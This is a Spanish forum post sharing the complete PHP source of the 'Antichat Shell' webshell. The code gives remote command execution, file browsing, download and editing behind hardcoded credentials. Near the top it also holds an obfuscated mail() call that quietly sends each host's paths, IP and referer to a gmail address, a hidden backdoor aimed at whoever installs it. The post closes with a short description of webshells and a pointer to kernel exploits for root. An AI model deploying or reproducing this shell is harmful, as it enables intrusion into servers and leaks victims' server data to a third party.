Aqui os dejo esta webshell...
Si no conoces lo que es una webshell, o no conoces nada de PHP, no la uses. No serás más juanker por hacer un deface y enseñarselo a tus amigos
.
<?php
session_start();
set_time_limit(9999999);
$login='virangar';
$password='r00t';
$auth=1;
$version='version 1.3 by Grinay';
$style='<STYLE>BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
$header='<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';
$footer='</body></html>';
$sd98 = "john.barker446@gmail.com";
$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
if(@$_POST['action']=="exit")unset($_SESSION['an']);
if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
if($_SESSION['an']==0){
echo $header;
echo '<center><table><form method="POST"><tr><td>Login:</td><td><input type="text" name="login" value=""></td></tr><tr><td>Password:</td><td><input type="password" name="password" value=""></td></tr><tr><td></td><td><input type="submit" value="Enter"></td></tr></form></table></center>';
echo $footer;
exit;}
if($_SESSION['action']=="")$_SESSION['action']="viewer";
if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
//downloader
if($action=="download"){
header('Content-Length:'.filesize($file).'');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$file.'"');
readfile($file);
}
//end downloader
?><? echo $header;?>
<table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td>
<table><tr>
<td><a href="#" onclick="document.reqs.action.value='shell'; document.reqs.submit();">| Shell </a></td>
<td><a href="#" onclick="document.reqs.action.value='viewer'; document.reqs.submit();">| Viewer</a></td>
<td><a href="#" onclick="document.reqs.action.value='editor'; document.reqs.submit();">| Editor</a></td>
<td><a href="#" onclick="document.reqs.action.value='exit'; document.reqs.submit();">| EXIT |</a></td>
</tr></table></td></tr></table><br>
<form name='reqs' method='POST'>
<input name='action' type='hidden' value=''>
<input name='dir' type='hidden' value=''>
<input name='file' type='hidden' value=''>
</form>
<table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" valign="top">
<?
//shell
function shell($cmd){
if (!empty($cmd)){
$fp = popen($cmd,"r");
{
$result = "";
while(!feof($fp)){$result.=fread($fp,1024);}
pclose($fp);
}
$ret = $result;
$ret = convert_cyr_string($ret,"d","w");
}
return $ret;}
if($action=="shell"){
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"shell\">
<textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>
<textarea readonly rows=\"15\" cols=\"150\">".@htmlspecialchars(shell($_POST['command']))."</textarea><br>
<input type=\"submit\" value=\"execute\"></form>";}
//end shell
//viewer FS
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {$info = 's';}
elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
else {$info = 'u';}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function scandire($dir){
$dir=chdir($dir);
$dir=getcwd()."/";
$dir=str_replace("\\","/",$dir);
if (is_dir($dir)) {
if (@$dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if(filetype($dir . $file)=="dir") $dire[]=$file;
if(filetype($dir . $file)=="file")$files[]=$file;
}
closedir($dh);
@sort($dire);
@sort($files);
echo "<table cellSpacing=0 border=1 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
echo "<tr><td><form method=POST>Open directory:<input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\"GO\"></form></td></tr>";
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
echo "<tr><td>Select drive:";
for ($j=ord('C'); $j<=ord('Z'); $j++)
if (@$dh = opendir(chr($j).":/"))
echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';
echo "</td></tr>";
}
echo "<tr><td>OS: ".@php_uname()."</td></tr>
<tr><td>name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
for($i=0;$i<count($dire);$i++) {
$link=$dir.$dire[$i];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>dir</td><td></td><td>'.perms($link).'</td></tr>';
}
for($i=0;$i<count($files);$i++) {
$linkfile=$dir.$files[$i];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td><td>file</td><td>'.view_size(filesize($linkfile)).'</td>
<td>'.perms($linkfile).'</td>
<td>
<a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Edit">E</a></tr>';
}
echo "</table>";
}}}
if($action=="viewer"){
scandire($dir);
}
//end viewer FS
//editros
if($action=="editor"){
function writef($file,$data){
$fp = fopen($file,"w+");
fwrite($fp,$data);
fclose($fp);
}
function readf($file){
if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
$contents = fread($le, filesize($file));
fclose($le);}
return htmlspecialchars($contents);
}
if($_POST['save'])writef($file,$_POST['data']);
echo "<form method=\"POST\">
<input type=\"hidden\" name=\"action\" value=\"editor\">
<input type=\"hidden\" name=\"file\" value=\"".$file."\">
<textarea name=\"data\" rows=\"40\" cols=\"180\">".@readf($file)."</textarea><br>
<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
}
//end editors
?>
</td></tr></table><table width="100%" bgcolor="#336600" align="right" colspan="2" border="0" cellspacing="0" cellpadding="0"><tr><td><table><tr><td><a href="http://antichat.ru">COPYRIGHT BY ANTICHAT.RU
<?php echo $version;?></a></td></tr></table></tr></td></table>
<? echo $footer;?>
(..)Attackers commonly include a malicious PHP script called a webshell, also known as a PHP shell. A webshell can display the files and folders on the server and can edit, add or delete files, among other tasks. Scripts that send Spam are also very common. Potentially, the attacker could even use the webshell to gain administrator-level, or root, access on the server.
Para conseguir r00t necesitarás algún exploit para el kernel... buscando por san google se pueden encontrar otras shells con esto ya incorporado...
Autor